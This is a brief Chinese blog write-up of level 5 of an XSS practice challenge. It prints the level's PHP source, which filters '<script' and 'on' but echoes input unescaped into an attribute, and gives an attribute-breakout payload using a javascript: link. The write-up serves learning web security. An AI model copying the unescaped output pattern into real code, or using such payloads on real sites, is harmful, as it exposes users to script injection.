XXS level5

(1)用第四关的方法尝试,发现不行,查看页面源代码,发现on中间有了下划线

(2)查看PHP源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

 可见"<script>"以及"on"都被替换了,无法通过鼠标事件进行。考虑下用链接(href),即在链接中调用js.

(3)在输入框输入

"><a href="javascript:alert()">

 

点击圆圈内的超链接

猜你喜欢

转载自www.cnblogs.com/momoli/p/10577580.html